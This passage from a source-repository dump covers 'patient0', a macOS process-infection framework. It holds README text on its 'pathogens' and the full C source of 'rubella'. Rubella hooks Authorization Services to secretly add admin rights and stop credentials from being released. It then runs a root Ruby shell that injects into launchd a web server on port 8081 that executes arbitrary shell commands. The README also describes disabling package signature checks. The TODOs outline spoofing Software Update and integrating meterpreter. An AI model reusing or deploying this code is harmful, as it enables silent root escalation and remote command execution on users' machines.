wire) into the Dock and Finder. 203 | 204 | ## Pathogens 205 | 206 | Pathogens are plugins for `patient0`. They are the code that is spread 207 | when `patient0` infects a process. 208 | 209 | ### `rubella` 210 | 211 | `rubella` is the primary example of a pathogen built on the `patient0` 212 | framework. It interposes the Authorization functions to determine when 213 | an infected process has attempted to acquire privileged credentials. 214 | If system.privilege.admin was not requested, it will be added to the rights 215 | list (in AuthorizationCopyRights). Once system.privilege.admin privileges have 216 | been received, `rubella` will spawn a ruby shell with root privileges via 217 | AuthorizationExecuteWithPrivileges and execute the pivot.rb code along with a 218 | custom payload. It will inject this custom payload into the launchd thereby 219 | escalating the rubella-owner to root. 220 | 221 | The example payload is `web.tcl`. This will bind a simple web server to 222 | port 8081 which allows for arbitrary shell commands to be submitted to launchd 223 | for execution. 224 | 225 | To demo this, infect your Dock, etc with patient0+rubella. Then open your 226 | system preferences (from the Dock). Click on a pane that has a lock (like 227 | Accounts). Unlock the lock. Then browse to http://127.0.0.1:8081. 228 | 229 | ### `swineflu` 230 | 231 | `swineflu` intercepts all call to `CSSM_VerifyData` making them all return 232 | successful. In addition, it imports all `patient0` functionality and 233 | will infect any processes launched from processes it is in. It is particularly 234 | effective at making a spawned Software Update instance allow for unsigned 235 | package installation. 236 | 237 | (Not done yet) 238 | 239 | 240 | ## Thanks 241 | - [nemo@felinemenace.org][1] for countless articles and tutorials 242 | - [ddz@theta44.org][2] for metasploit osx payloads 243 | (especially, inject_bundle.s) and the promise of macterpeter 244 | - [michaelw+comments@foldr.org][3] for his sampling_fork example 245 | - Jon [Rentzsch][4] for forging the way with mach_star tools 246 | - Amit Singh for the excellent [`Mac OS X Internals`][5] 247 | - hdm, spoonm, and others for the awesomeness that is [metasploit 3.x][6] 248 | 249 | ## Future work, TODOs, etc 250 | 251 | - add automatic symbol stub patching on dynamic image addition (_register*) 252 | - add automatic symbol stub patching for loaded libraries by crawling load commands 253 | - determine if runner or Installer is calling AuthorizationCopyRights 254 | - write real tests 255 | - fully comment all libpatient0 functions (doxygen would be a bonus) 256 | - add an injectable debugger thread (base a simple debugger on pivot.rb) 257 | - add an injectable local process stats thread 258 | - add more file types to patient0 and clean up the code 259 | - determine how Software Update is invoked from the menu and intercept it: LaunchApplicationViaLaunchD, _LSLaunchApplication< _LSOpenItemsWithHandler_CFDictionaryApplier, LSOpenFromURLSpec 260 | - integrate into mac-meterpreter. 261 | - look into passing a custom bootstrap port/namespace to have access to 262 | exception handler ports. 263 | - port the remainder of the patient0 functionality into pivot.rb. 264 | - add a pathogen which passes the open fd to the dock with a reverse session that allows for task port accruing. 265 | - make rubella disable further injection if it has been successful once. 266 | - Add SoftwareUpdate respawn support to swineflu to infect _any_ launched instance. 267 | - look into authorizationdb tweaks, etc 268 | - make a self-hosted software update spoof server/proxy 269 | - overriding CSSM_VerifyDat and CFURLCreateDataAndPropertiesFromResource to 270 | automatically provide a fake Software Update server to software update 271 | processes and disable the package signature checks. 272 | - look into the behavior of runtike injection into processes signed by 273 | Apple with the SecTask=allowed(,safe) option and then request 274 | system.privilege.taskport access: 275 | - E.g., LeakAgent(32|64) 276 | - look into how taskgated port allocations are handled (does it have to be 277 | root?) and if SecCodeCheckValidity could be overriden if not. 278 | 279 | 280 | [1]: http://felinemenace.org/~nemo "Neil 'nemo' Archibald" 281 | [2]: http://theta44.org "Dino Dai Zovi" 282 | [3]: http://www.foldr.org/~michaelw/log/computers/macosx/task-info-fun-with-mach "Michael Weber" 283 | [4]: http://rentzsch.com "Jon Rentzsch" 284 | [5]: http://osxbook.com "Amit Singh's Mac OS X Internals Book" 285 | [6]: http://metasploit.org "Metasploit Framework" 286 | 287 | 288 | -------------------------------------------------------------------------------- /pathogens/rubella/rubella.c: -------------------------------------------------------------------------------- 1 | /* rubella.c: patient0 pathogen for passive root privilege acquisition 2 | * 3 | * Once a process is infected with Rubella, it will performs all operations 4 | * normally exception wen accessing the Authorization Services from the 5 | * Security framework. Rubella intercepts calls to the following functions: 6 | * - AuthorizationCopyRights, AuthorizationCreate: to get system.privilege.admin 7 | * - AuthorizationFree: disables credential dropping 8 | * - AuthorizationExecuteWithPrivileges is, at present, only traced. 9 | * Once an authorization reference has system.privilege.admin rights, 10 | * Rubella can run pivot.rb as root (without writing to the filesystem) 11 | * and inject its payload into pid 1 (launchd). 12 | * 13 | * Rubella's payload is a lightweight Tcl web server that runs on top of 14 | * tclist.bundle. It listens on port 8081. 15 | * 16 | * TODO: add a disable to stop N threads from being injected into launchd. 17 | * 18 | * Copyright (c) 2009 Will Drewry . All rights reserved. 19 | * Use of this source code is governed by a BSD-style license that can be 20 | * found in the LICENSE file or at http://github.org/redpig/patient0. 21 | */ 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | /* Would be Security/ if we linked to the framework */ 34 | #include /* Security.framework */ 35 | #include /* Security.framework */ 36 | 37 | #include 38 | #include 39 | #include 40 | 41 | #include "rerun_rb.h" 42 | #include "pivot_rb.h" 43 | #include "rubella_payload.h" 44 | 45 | static void pivot(AuthorizationRef authorization); 46 | 47 | typedef OSStatus (*AuthorizationCreate_t)(const AuthorizationRights *, 48 | const AuthorizationEnvironment *, AuthorizationFlags, AuthorizationRef *); 49 | 50 | static OSStatus rubella_AuthorizationCreate(const AuthorizationRights *rights, 51 | const AuthorizationEnvironment *environment, 52 | AuthorizationFlags flags, 53 | AuthorizationRef *authorization) { 54 | OSStatus result = errAuthorizationInternal; 55 | AuthorizationCreate_t orig = dlsym(RTLD_DEFAULT, "AuthorizationCreate"); 56 | if (orig) { 57 | result = orig(rights, environment, flags, authorization); 58 | } 59 | p0_logf(P0_INFO, "AuthorizationCreate called"); 60 | return result; 61 | } 62 | 63 | 64 | 65 | OSStatus rubella_AuthorizationFree(AuthorizationRef authorization, AuthorizationFlags flags) { 66 | p0_logf(P0_INFO, "Ignoring request to release rights"); 67 | return errAuthorizationSuccess; 68 | } 69 | 70 | typedef OSStatus (*AuthorizationCopyRights_t)(AuthorizationRef authorization, 71 | const AuthorizationRights *, 72 | const AuthorizationEnvironment *, 73 | AuthorizationFlags, 74 | AuthorizationRights **); 75 | 76 | OSStatus rubella_AuthorizationCopyRights(AuthorizationRef authorization, 77 | const AuthorizationRights *orig_rights, /* will this play nicely? */ 78 | const AuthorizationEnvironment *environment, 79 | AuthorizationFlags flags, 80 | AuthorizationRights **authorizedRights) { 81 | OSStatus result = errAuthorizationInternal; 82 | AuthorizationCopyRights_t orig = dlsym(RTLD_DEFAULT, "AuthorizationCopyRights"); 83 | AuthorizationRights rights = { 0 }; 84 | AuthorizationItem admin = { kAuthorizationRightExecute, 0, NULL, 0 }; 85 | bool can_extend = (flags & (kAuthorizationFlagInteractionAllowed | 86 | kAuthorizationFlagExtendRights)); 87 | bool has_admin = false; 88 | 89 | if (!orig) { 90 | p0_logf(P0_INFO, "AuthorizationCopyRights original could not be found."); 91 | return errAuthorizationInternal; 92 | } 93 | 94 | p0_logf(P0_INFO, "AuthorizationCopyRights called"); 95 | if (!orig_rights) { 96 | p0_logf(P0_ERR, "We can't handle NULL rights"); 97 | if (orig) { 98 | return orig(authorization, orig_rights, environment, flags, authorizedRights); 99 | } else { 100 | return result; 101 | } 102 | } 103 | /* if no items were given, we can just slap our own in */ 104 | if (can_extend && orig_rights->count == 0) { 105 | rights.items = &admin; 106 | rights.count = 1; 107 | p0_logf(P0_INFO, "No rights requested. Inserting admin"); 108 | return orig(authorization, &rights, environment, flags, authorizedRights); 109 | } 110 | 111 | /* If there are rights, let's see if admin is already present */ 112 | if (can_extend && orig_rights->count > 0) { 113 | AuthorizationItem *item = orig_rights->items; 114 | uint32_t count = 0; 115 | p0_logf(P0_INFO, "Checking for admin..."); 116 | for ( ; count < orig_rights->count; ++count, ++item) { 117 | p0_logf(P0_INFO, "--> %s", item->name); 118 | if (!strcmp(item->name, kAuthorizationRightExecute)) { 119 | p0_logf(P0_INFO, "match!"); 120 | has_admin = true; 121 | break; 122 | } 123 | } 124 | } 125 | 126 | if (!has_admin && !can_extend) { 127 | p0_logf(P0_INFO, "no admin and non-interactive. bailing"); 128 | return orig(authorization, orig_rights, environment, flags, authorizedRights); 129 | } 130 | 131 | /* If we need to add admin, we do it now */ 132 | if (!has_admin) { 133 | uint32_t item_max = orig_rights->count; 134 | uint32_t count = 0; 135 | AuthorizationItem *item = orig_rights->items; 136 | AuthorizationItem *replacement_item; 137 | p0_logf(P0_INFO, "No system.privilege.admin, so we insert it"); 138 | rights.count = orig_rights->count + 1; 139 | rights.items = malloc(sizeof(*item) * rights.count); 140 | replacement_item = rights.items; 141 | if (!rights.items) { 142 | p0_logf(P0_ERR, "failed to allocate a new items array"); 143 | return orig(authorization, orig_rights, environment, flags, authorizedRights); 144 | } 145 | for ( ; count < item_max; ++count, ++item, ++replacement_item) { 146 | replacement_item->name = item->name; 147 | replacement_item->value = item->value; 148 | replacement_item->valueLength = item->valueLength; 149 | replacement_item->flags = replacement_item->flags; 150 | /* memcpy(replacement_item, item, sizeof(item)); */ 151 | } 152 | rights.items[item_max].name = admin.name; 153 | rights.items[item_max].value = NULL; 154 | rights.items[item_max].valueLength = 0; 155 | rights.items[item_max].flags = admin.flags; 156 | } 157 | 158 | result = orig(authorization, &rights, environment, flags, authorizedRights); 159 | /* On success, pivot to root! */ 160 | if (result == errAuthorizationSuccess) { 161 | pivot(authorization); 162 | } 163 | 164 | return result; 165 | } 166 | intptr_t acr_ptr = (intptr_t)&rubella_AuthorizationCopyRights; 167 | 168 | 169 | typedef OSStatus (*AuthorizationCopyInfo_t)(AuthorizationRef, 170 | AuthorizationString, AuthorizationItemSet **); 171 | 172 | OSStatus rubella_AuthorizationCopyInfo(AuthorizationRef authorization, 173 | AuthorizationString tag, 174 | AuthorizationItemSet **info) { 175 | AuthorizationCopyInfo_t orig = dlsym(RTLD_DEFAULT, "AuthorizationCopyInfo"); 176 | p0_logf(P0_INFO, "called"); 177 | if (!orig) 178 | return errAuthorizationInternal; 179 | return orig(authorization, tag, info); 180 | } 181 | 182 | 183 | typedef OSStatus (*AuthorizationExecuteWithPrivileges_t)(AuthorizationRef, 184 | const char *, 185 | AuthorizationFlags, 186 | char * const *, 187 | FILE **); 188 | OSStatus rubella_AuthorizationExecuteWithPrivileges(AuthorizationRef authorization, 189 | const char *path, 190 | AuthorizationFlags flags, 191 | char * const *args, 192 | FILE **commPipe) { 193 | AuthorizationExecuteWithPrivileges_t orig = dlsym(RTLD_DEFAULT, "AuthorizationExecuteWithPrivileges"); 194 | p0_logf(P0_INFO, "(%s, %d, ...)", path, flags); 195 | return orig(authorization, path, flags, args, commPipe); 196 | } 197 | 198 | 199 | static void pivot(AuthorizationRef authorization) { 200 | FILE *commPipe = NULL; 201 | char *args[] = { "--", "/dev/fd/1", 0 }; /* we can pass args too */ 202 | AuthorizationExecuteWithPrivileges_t execer = dlsym(RTLD_DEFAULT, "AuthorizationExecuteWithPrivileges"); 203 | p0_logf(P0_INFO, "pivoting"); 204 | if (!execer) { 205 | p0_logf(P0_ERR, "AuthorizationExecuteWithPrivileges not found"); 206 | return; 207 | } 208 | execer(authorization, 209 | "/usr/bin/ruby", 210 | kAuthorizationFlagDefaults, 211 | args, 212 | &commPipe); 213 | /* This seems stupidly roundabout, but it works. */ 214 | 215 | p0_logf(P0_INFO, "REAL_SCRIPT=String.new(<<'EOF')\n"); 216 | fprintf(commPipe, "REAL_SCRIPT=String.new(<<'EOF')\n"); 217 | p0_logf(P0_INFO, "P=[%s].pack('c*')\n", rubella_payload); 218 | fprintf(commPipe, "P=[%s].pack('c*')\n", rubella_payload); 219 | pivot_rb[pivot_rb_len - 1] = '\0'; 220 | p0_logf(P0_INFO, "%s", pivot_rb); 221 | fprintf(commPipe, "%s", pivot_rb); 222 | p0_logf(P0_INFO, "EOF\n"); 223 | fprintf(commPipe, "EOF\n"); 224 | rerun_rb[rerun_rb_len - 1] = '\0'; 225 | p0_logf(P0_INFO, "%s\n", rerun_rb); 226 | fprintf(commPipe, "%s\n", rerun_rb); 227 | fclose(commPipe); 228 | p0_logf(P0_INFO, "pivot done."); 229 | } 230 | 231 | /* memory should look like: 232 | * +--------------+ 233 | * | rubella code | 234 | * +--------------+ 235 | * | args | 236 | * +--------------+ 237 | * | uint32 (sz) | 238 | * +--------------+ 239 | */ 240 | void run(unsigned char *code, uint32_t size) { 241 | unsigned char *cursor = code + size - sizeof(uint32_t); 242 | uint32_t args_size = *((uint32_t *)cursor); 243 | 244 | p0_logf(P0_INFO, "rubella running"); 245 | /* install function replacements */ 246 | mach_jump_init(); 247 | if (!mach_jump_patch("AuthorizationFree", rubella_AuthorizationFree)) { 248 | p0_logf(P0_ERR, "failed to patch AuthorizationFree"); 249 | } 250 | if (!mach_jump_patch("AuthorizationCreate", rubella_AuthorizationCreate)) { 251 | p0_logf(P0_ERR, "failed to patch AuthorizationCreate"); 252 | } 253 | if (!mach_jump_patch("AuthorizationCopyRights", 254 | rubella_AuthorizationCopyRights)) { 255 | p0_logf(P0_ERR, "failed to patch AuthorizationCopyRights"); 256 | } 257 | if (!mach_jump_patch("AuthorizationExecuteWithPrivileges", 258 | rubella_AuthorizationExecuteWithPrivileges)) { 259 | p0_logf(P0_ERR, "failed to patch AuthorizationExecuteWithPrivileges"); 260 | } 261 | p0_logf(P0_INFO, "global symbol stubs patched"); 262 | 263 | /* We also patch up SecurityFoundation. It is the Objective-C wrapper around 264 | * the Security framework. Note, the other option is to use mach_star's 265 | * mach_override, but unless I have to, I like doing stub fixups. However, 266 | * this doesn't give the same guaranteed coverage of mach_override (or 267 | * clobber_function). 268 | * TODO: add LC_LOAD_DYLIB crawling to autopatch all loaded symbol stubs and 269 | * register a function to do the patchup on a subsequent library loads. 270 | */ 271 | if (!mach_jump_framework_patch("SecurityFoundation", 272 | "AuthorizationFree", 273 | rubella_AuthorizationFree)) { 274 | p0_logf(P0_ERR, "failed to patch AuthorizationFree"); 275 | } 276 | if (!mach_jump_framework_patch("SecurityFoundation", 277 | "AuthorizationCreate", 278 | rubella_AuthorizationCreate)) { 279 | p0_logf(P0_ERR, "failed to patch AuthorizationCreate"); 280 | } 281 | if (!mach_jump_framework_patch("SecurityFoundation", 282 | "AuthorizationCopyRights", 283 | rubella_AuthorizationCopyRights)) { 284 | p0_logf(P0_ERR, "failed to patch AuthorizationCopyRights"); 285 | } 286 | if (!mach_jump_framework_patch("SecurityFoundation", 287 | "AuthorizationExecuteWithPrivileges", 288 | rubella_AuthorizationExecuteWithPrivileges)) { 289 | p0_logf(P0_ERR, "failed to patch AuthorizationExecuteWithPrivileges"); 290 | } 291 | p0_logf(P0_INFO, "SecurityFoundation symbol stubs patched"); 292 | 293 | if (!mach_jump_framework_patch("SecurityInterface", 294 | "AuthorizationFree", 295 | rubella_AuthorizationFree)) { 296 | p0_logf(P0_ERR, "failed to patch AuthorizationFree"); 297 | } 298 | if (!mach_jump_framework_patch("SecurityInterface", 299 | "AuthorizationCreate", 300 | rubella_AuthorizationCreate)) { 301 | p0_logf(P0_ERR, "failed to patch AuthorizationCreate"); 302 | } 303 | if (!mach_jump_framework_patch("SecurityInterface", 304 | "AuthorizationCopyRights", 305 | rubella_AuthorizationCopyRights)) { 306 | p0_logf(P0_ERR, "failed to patch AuthorizationCopyRights"); 307 | } 308 | if (!mach_jump_framework_patch("SecurityInterface", 309 | "AuthorizationExecuteWithPrivileges", 310 | rubella_AuthorizationExecuteWithPrivileges)) { 311 | p0_logf(P0_ERR, "failed to patch AuthorizationExecuteWithPrivileges"); 312 | } 313 | p0_logf(P0_INFO, "SecurityInterface symbol stubs patched"); 314 | 315 | p0_logf(P0_INFO, "rubella patching complete"); 316 | /* hang this thread */ 317 | runtime_deadlock(); 318 | } 319 | --------------------------------------------------------------------------------